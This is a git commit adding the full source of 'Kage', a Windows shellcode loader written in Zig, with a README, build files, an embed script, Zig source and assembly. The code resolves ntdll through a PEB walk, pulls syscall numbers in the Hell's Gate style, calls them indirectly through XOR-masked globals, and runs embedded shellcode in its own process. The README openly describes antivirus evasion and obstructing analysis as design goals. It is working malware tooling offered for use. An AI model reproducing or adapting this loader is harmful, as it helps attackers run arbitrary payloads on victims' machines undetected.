commit 99f45673ef3d0f0790dcd4af02d5ef2c7c56a153 Author: JYenn (SISTA) Date: Sat Jul 18 09:30:07 2026 +0100 fixes diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0790b14 --- /dev/null +++ b/.gitignore @@ -0,0 +1,7 @@ +zig-out/ +.zig-cache/ +*.exe +*.pdb +docs/index.md +valak.bin +*.bin diff --git a/README.md b/README.md new file mode 100644 index 0000000..bdf1b65 --- /dev/null +++ b/README.md @@ -0,0 +1,56 @@ +# Kage + +

+ Kage +

+ +> 影に潜む + +Shellcode loader using indirect syscalls. Self-injection, jitter between steps. + +## Build + +```bash +# 1. place your shellcode as valak.bin in this directory +# 2. embed it into the source: +python3 embed.py +# 3. compile: +zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast +# → zig-out/bin/kage.exe +``` + +Single binary output, no external files needed at runtime. + +## Why Zig + +No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Means less for AV to see. + +Detection engines mostly know C, C++, Rust, Go. Zig flies under the radar. Lower VirusTotal scores. + +Ghidra struggles with Zig binaries (there's an open bug for it). IDA doesn't properly support it either. Makes reverse engineering harder. + +## 仕掛け + +- **影探し** — ntdll via PEB walk (`gs:[0x60]`) +- **闇渡り** — indirect syscall dispatch +- **血判** — Hell's Gate SSN resolution +- **影纏い** — XOR-encoded asm dispatch globals + +For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak). + +## Layout + +``` +src/ +├── main.zig entry, execution +├── win32.zig types & externs +├── pe.zig PE parser, export resolver +├── syscall.zig Hell's Gate extraction + PEB ntdll finder +├── hells_gate.s asm dispatch (XOR globals) +build.zig +embed.py embeds valak.bin into main.zig +``` + +## License + +MIT diff --git a/assets/Kage.png b/assets/Kage.png new file mode 100644 index 0000000..6f917e3 Binary files /dev/null and b/assets/Kage.png differ diff --git a/build.zig b/build.zig new file mode 100644 index 0000000..356dbed --- /dev/null +++ b/build.zig @@ -0,0 +1,35 @@ +const std = @import("std"); + +pub fn build(b: *std.Build) void { + const target = b.standardTargetOptions(.{ .default_target = .{ + .cpu_arch = .x86_64, + .os_tag = .windows, + } }); + const optimize = b.standardOptimizeOption(.{}); + + const module = b.createModule(.{ + .root_source_file = b.path("src/main.zig"), + .target = target, + .optimize = optimize, + }); + + const exe = b.addExecutable(.{ + .name = "kage", + .root_module = module, + }); + + module.addAssemblyFile(b.path("src/hells_gate.s")); + exe.subsystem = .Console; + + b.installArtifact(exe); + + const run_cmd = b.addRunArtifact(exe); + run_cmd.step.dependOn(b.getInstallStep()); + + if (b.args) |args| { + run_cmd.addArgs(args); + } + + const run_step = b.step("run", "Run the loader"); + run_step.dependOn(&run_cmd.step); +} diff --git a/embed.py b/embed.py new file mode 100644 index 0000000..1442c8d --- /dev/null +++ b/embed.py @@ -0,0 +1,20 @@ +with open("valak.bin", "rb") as f: + data = f.read() + +lines = [] +for i in range(0, len(data), 12): + chunk = data[i:i+12] + lines.append(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",") + +with open("src/main.zig") as f: + content = f.read() + +start = content.index("const shellcode = [_]u8{") +end = content.index("};\n\nfn", start) + 3 +new_block = "const shellcode = [_]u8{\n" + "\n".join(lines) + "\n};" +content = content[:start] + new_block + content[end:] + +with open("src/main.zig", "w") as f: + f.write(content) + +print(f"Embedded {len(data)} bytes") diff --git a/src/hells_gate.s b/src/hells_gate.s new file mode 100644 index 0000000..389a329 --- /dev/null +++ b/src/hells_gate.s @@ -0,0 +1,25 @@ +.intel_syntax noprefix +.data + wSystemCallEnc: .long 0 + qSyscallInsAddressEnc: .quad 0 + wMask: .long 0xDEADBEEF + qMask: .quad 0xDEADBEEFDEADBEEF + +.text +.global hells_gate +.global hell_descent + +hells_gate: + xor ecx, dword ptr [rip + wMask] + mov dword ptr [rip + wSystemCallEnc], ecx + xor rdx, qword ptr [rip + qMask] + mov qword ptr [rip + qSyscallInsAddressEnc], rdx + ret + +hell_descent: + mov r10, rcx + mov eax, dword ptr [rip + wSystemCallEnc] + xor eax, dword ptr [rip + wMask] + mov r11, qword ptr [rip + qSyscallInsAddressEnc] + xor r11, qword ptr [rip + qMask] + jmp r11 diff --git a/src/main.zig b/src/main.zig new file mode 100644 index 0000000..7d01158 --- /dev/null +++ b/src/main.zig @@ -0,0 +1,118 @@ +const std = @import("std"); +const win = @import("win32.zig"); +const syscall = @import("syscall.zig"); + +const print = std.debug.print; + +var g_sys: syscall.Syscalls = undefined; + +extern fn hells_gate(syscall_number: u32, address: usize) void; +extern fn hell_descent(arg1: usize, arg2: usize, arg3: usize, arg4: usize, arg5: usize, arg6: usize, arg7: usize, arg8: usize, arg9: usize, arg10: usize, arg11: usize) win.NTSTATUS; + +fn ok(comptime fmt: []const u8, args: anytype) void { print("[+] " ++ fmt ++ "\n", args); } +fn info(comptime fmt: []const u8, args: anytype) void { print("[*] " ++ fmt ++ "\n", args); } +fn err(comptime fmt: []const u8, args: anytype) void { print("[-] " ++ fmt ++ "\n", args); } + +const shellcode = [_]u8{ + // paste your shellcode bytes here +}; + +fn banner() void { + print( + \\ Kage — shellcode loader + \\ Author: JYenn + \\ + , .{}); +} + +pub fn main() void { + banner(); + + if (shellcode.len == 0) { + err("no shellcode embedded", .{}); + return; + } + + g_sys = syscall.Syscalls.resolve() orelse { + err("failed to resolve syscalls", .{}); + return; + }; + ok("syscalls resolved via PEB walk", .{}); + + const current_process: win.HANDLE = win.NtCurrentProcess; + var base_addr: ?*anyopaque = null; + var size: win.SIZE_T = shellcode.len; + + const status = ntAllocateVirtualMemory(current_process, &base_addr, 0, &size, win.MEM_COMMIT | win.MEM_RESERVE, win.PAGE_READWRITE); + if (!win.NT_SUCCESS(status)) { + err("NtAllocateVirtualMemory failed: 0x{X}", .{@as(u32, @bitCast(status))}); + return; + } + ok("allocated {d} bytes at 0x{X}", .{ size, @intFromPtr(base_addr) }); + jitter(10, 50); + + const buffer: [*]u8 = @ptrCast(base_addr); + @memcpy(buffer[0..shellcode.len], &shellcode); + info("shellcode loaded ({d} bytes)", .{shellcode.len}); + jitter(10, 30); + + var old_protect: win.ULONG = 0; + _ = ntProtectVirtualMemory(current_process, &base_addr, &size, win.PAGE_EXECUTE_READ, &old_protect); + ok("memory protected to RX", .{}); + jitter(5, 15); + + var thread_handle: win.HANDLE = undefined; + _ = ntCreateThreadEx(&thread_handle, win.THREAD_ALL_ACCESS, null, current_process, @ptrFromInt(@intFromPtr(base_addr)), null, 0, 0, 0, 0, null); + ok("thread created, waiting for completion", .{}); + + _ = ntWaitForSingleObject(thread_handle, false, null); +} + +fn ntAllocateVirtualMemory(process: win.HANDLE, base: *?*anyopaque, zero: win.ULONG_PTR, size: *win.SIZE_T, alloc: win.ULONG, prot: win.ULONG) win.NTSTATUS { + const entry = g_sys.NtAllocateVirtualMemory; + hells_gate(entry.number, @intFromPtr(entry.gadget)); + return hell_descent( + @intFromPtr(process), @intFromPtr(base), zero, @intFromPtr(size), alloc, prot, + 0, 0, 0, 0, 0, + ); +} + +fn ntProtectVirtualMemory(process: win.HANDLE, base: *?*anyopaque, size: *win.SIZE_T, new_prot: win.ULONG, old_prot: *win.ULONG) win.NTSTATUS { + const entry = g_sys.NtProtectVirtualMemory; + hells_gate(entry.number, @intFromPtr(entry.gadget)); + return hell_descent( + @intFromPtr(process), @intFromPtr(base), @intFromPtr(size), new_prot, @intFromPtr(old_prot), + 0, 0, 0, 0, 0, 0, + ); +} + +fn ntCreateThreadEx(handle: *win.HANDLE, access: win.ACCESS_MASK, attrs: ?*win.OBJECT_ATTRIBUTES, process: win.HANDLE, start: ?*anyopaque, arg: ?*anyopaque, flags: win.ULONG, zero: win.SIZE_T, stack: win.SIZE_T, max_stack: win.SIZE_T, list: ?*anyopaque) win.NTSTATUS { + const entry = g_sys.NtCreateThreadEx; + hells_gate(entry.number, @intFromPtr(entry.gadget)); + return hell_descent( + @intFromPtr(handle), access, @intFromPtr(attrs), @intFromPtr(process), @intFromPtr(start), + @intFromPtr(arg), flags, zero, stack, max_stack, @intFromPtr(list), + ); +} + +fn ntWaitForSingleObject(handle: win.HANDLE, alertable: bool, timeout: ?*win.LARGE_INTEGER) win.NTSTATUS { + const entry = g_sys.NtWaitForSingleObject; + hells_gate(entry.number, @intFromPtr(entry.gadget)); + return hell_descent( + @intFromPtr(handle), @intFromBool(alertable), @intFromPtr(timeout), + 0, 0, 0, 0, 0, 0, 0, 0, + ); +} + +fn ntDelayExecution(alertable: bool, interval: *const win.LARGE_INTEGER) win.NTSTATUS { + const entry = g_sys.NtDelayExecution; + hells_gate(entry.number, @intFromPtr(entry.gadget)); + return hell_descent(@intFromBool(alertable), @intFromPtr(interval), 0, 0, 0, 0, 0, 0, 0, 0, 0); +} + +fn jitter(min_ms: u64, max_ms: u64) void { + var interval = win.LARGE_INTEGER{ + .QuadPart = -@as(i64, @intCast(min_ms * 10000 + (@as(u64, @intFromPtr(&min_ms)) % ((max_ms - min_ms + 1) * 10000)))), + }; + _ = ntDelayExecution(false, &interval); +} diff --git a/src/pe.zig b/src/pe.zig new file mode 100644 index 0000000..d2a3014 --- /dev/null +++ b/src/pe.zig @@ -0,0 +1,120 @@ +const std = @import("std"); + +pub const IMAGE_DOS_HEADER = extern struct { + e_magic: u16, + e_cblp: u16, + e_cp: u16, + e_crlc: u16, + e_cparhdr: u16, + e_minalloc: u16, + e_maxalloc: u16, + e_ss: u16, + e_sp: u16, + e_csum: u16, + e_ip: u16, + e_cs: u16, + e_lfarlc: u16, + e_ovno: u16, + e_res: [4]u16, + e_oemid: u16, + e_oeminfo: u16, + e_res2: [10]u16, + e_lfanew: i32, +}; + +pub const IMAGE_FILE_HEADER = extern struct { + Machine: u16, + NumberOfSections: u16, + TimeDateStamp: u32, + PointerToSymbolTable: u32, + NumberOfSymbols: u32, + SizeOfOptionalHeader: u16, + Characteristics: u16, +}; + +pub const IMAGE_DATA_DIRECTORY = extern struct { + VirtualAddress: u32, + Size: u32, +}; + +pub const IMAGE_OPTIONAL_HEADER64 = extern struct { + Magic: u16, + MajorLinkerVersion: u8, + MinorLinkerVersion: u8, + SizeOfCode: u32, + SizeOfInitializedData: u32, + SizeOfUninitializedData: u32, + AddressOfEntryPoint: u32, + BaseOfCode: u32, + ImageBase: u64, + SectionAlignment: u32, + FileAlignment: u32, + MajorOperatingSystemVersion: u16, + MinorOperatingSystemVersion: u16, + MajorImageVersion: u16, + MinorImageVersion: u16, + MajorSubsystemVersion: u16, + MinorSubsystemVersion: u16, + Win32VersionValue: u32, + SizeOfImage: u32, + SizeOfHeaders: u32, + CheckSum: u32, + Subsystem: u16, + DllCharacteristics: u16, + SizeOfStackReserve: u64, + SizeOfStackCommit: u64, + SizeOfHeapReserve: u64, + SizeOfHeapCommit: u64, + LoaderFlags: u32, + NumberOfRvaAndSizes: u32, + DataDirectory: [16]IMAGE_DATA_DIRECTORY, +}; + +pub const IMAGE_EXPORT_DIRECTORY = extern struct { + Characteristics: u32, + TimeDateStamp: u32, + MajorVersion: u16, + MinorVersion: u16, + Name: u32, + Base: u32, + NumberOfFunctions: u32, + NumberOfNames: u32, + AddressOfFunctions: u32, + AddressOfNames: u32, + AddressOfNameOrdinals: u32, +}; + +const IMAGE_NT_HEADERS64 = extern struct { + Signature: u32, + FileHeader: IMAGE_FILE_HEADER, + OptionalHeader: IMAGE_OPTIONAL_HEADER64, +}; + +pub fn findExport(dll_base: [*]u8, name: []const u8) ?[*]u8 { + const dos = @as(*IMAGE_DOS_HEADER, @ptrCast(@alignCast(dll_base))); + if (dos.e_magic != 0x5A4D) return null; + + const nt_hdrs = @as(*IMAGE_NT_HEADERS64, @ptrCast(@alignCast(dll_base + @as(usize, @intCast(dos.e_lfanew))))); + if (nt_hdrs.Signature != 0x00004550) return null; + + const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0]; + if (export_dir.VirtualAddress == 0) return null; + + const exp = @as(*IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(dll_base + export_dir.VirtualAddress))); + + const names = @as([*]u32, @ptrCast(@alignCast(dll_base + exp.AddressOfNames))); + const funcs = @as([*]u32, @ptrCast(@alignCast(dll_base + exp.AddressOfFunctions))); + const ords = @as([*]u16, @ptrCast(@alignCast(dll_base + exp.AddressOfNameOrdinals))); + + var i: u32 = 0; + while (i < exp.NumberOfNames) : (i += 1) { + const export_name_ptr = @as([*:0]u8, @ptrCast(dll_base + names[i])); + const export_name = std.mem.sliceTo(export_name_ptr, 0); + + if (std.mem.eql(u8, export_name, name)) { + const rva = funcs[ords[i]]; + return dll_base + rva; + } + } + return null; +} diff --git a/src/syscall.zig b/src/syscall.zig new file mode 100644 index 0000000..877240a --- /dev/null +++ b/src/syscall.zig @@ -0,0 +1,80 @@ +const std = @import("std"); +const pe = @import("pe.zig"); + +pub const Entry = struct { + number: u32, + gadget: *anyopaque, +}; + +pub const Syscalls = struct { + NtAllocateVirtualMemory: Entry, + NtProtectVirtualMemory: Entry, + NtCreateThreadEx: Entry, + NtWaitForSingleObject: Entry, + NtDelayExecution: Entry, + + pub fn resolve() ?Syscalls { + const ntdll = findNtdll() orelse return null; + const names = [_][]const u8{ + "NtAllocateVirtualMemory", + "NtProtectVirtualMemory", + "NtCreateThreadEx", + "NtWaitForSingleObject", + "NtDelayExecution", + }; + var result: Syscalls = undefined; + inline for (names) |name| { + const entry = extractEntry(ntdll, name) orelse return null; + @field(result, name) = entry; + } + return result; + } +}; + +fn findNtdll() ?[*]u8 { + var peb: usize = undefined; + asm volatile ("movq %%gs:0x60, %[r]" + : [r] "=r" (peb), + ); + const ldr = @as(*align(1) usize, @ptrFromInt(peb + 0x18)).*; + const head = ldr + 0x10; + var entry = @as(*align(1) usize, @ptrFromInt(head)).*; + while (entry != head) : (entry = @as(*align(1) usize, @ptrFromInt(entry)).*) { + const base = @as(*align(1) usize, @ptrFromInt(entry + 0x30)).*; + if (base == 0) continue; + const dos = @as(*align(1) extern struct { pad: [0x3C]u8, e_lfanew: u32 }, @ptrFromInt(base)); + const nt = @as(*align(1) extern struct { + Signature: u32, + FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, + OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } }, + }, @ptrFromInt(base + @as(usize, @intCast(dos.e_lfanew)))); + if (nt.Signature != 0x00004550) continue; + const exp_dir = nt.OptionalHeader.DataDirectory[0]; + if (exp_dir.VirtualAddress == 0) continue; + const exp = @as(*align(1) extern struct { Characteristics: u32, pad: [8]u8, Name: u32, pad2: [40]u8 }, @ptrFromInt(base + @as(usize, @intCast(exp_dir.VirtualAddress)))); + const name = @as([*:0]const u8, @ptrFromInt(base + @as(usize, @intCast(exp.Name)))); + if (std.mem.eql(u8, std.mem.sliceTo(name, 0), "ntdll.dll")) return @ptrFromInt(base); + } + return null; +} + +fn extractEntry(ntdll: [*]u8, name: []const u8) ?Entry { + const addr = pe.findExport(ntdll, name) orelse return null; + const bytes = @as([*]u8, @ptrCast(addr)); + + if (bytes[0] != 0x4C or bytes[1] != 0x8B or bytes[2] != 0xD1) return null; + if (bytes[3] != 0xB8) return null; + const number = std.mem.readInt(u32, bytes[4..8], .little); + + var gadget: ?*anyopaque = null; + var i: usize = 0; + while (i < 64) : (i += 1) { + if (bytes[i] == 0x0F and bytes[i + 1] == 0x05 and bytes[i + 2] == 0xC3) { + gadget = @ptrFromInt(@intFromPtr(addr) + i); + break; + } + } + if (gadget == null) return null; + + return Entry{ .number = number, .gadget = gadget.? }; +} diff --git a/src/win32.zig b/src/win32.zig new file mode 100644 index 0000000..4574447 --- /dev/null +++ b/src/win32.zig @@ -0,0 +1,19 @@ +pub const HANDLE = *anyopaque; +pub const NTSTATUS = i32; +pub const ULONG = u32; +pub const ULONG_PTR = usize; +pub const ACCESS_MASK = u32; +pub const SIZE_T = usize; +pub const OBJECT_ATTRIBUTES = extern struct { Length: ULONG, RootDirectory: ?HANDLE, ObjectName: *anyopaque, Attributes: ULONG, SecurityDescriptor: ?*anyopaque, SecurityQualityOfService: ?*anyopaque }; + +pub const MEM_COMMIT: ULONG = 0x00001000; +pub const MEM_RESERVE: ULONG = 0x00002000; +pub const PAGE_READWRITE: ULONG = 0x04; +pub const PAGE_EXECUTE_READ: ULONG = 0x20; +pub const THREAD_ALL_ACCESS: ACCESS_MASK = 0x1FFFFF; +pub const NtCurrentProcess: HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -1)))); +pub const LARGE_INTEGER = extern struct { QuadPart: i64 }; + +pub inline fn NT_SUCCESS(status: NTSTATUS) bool { + return status >= 0; +}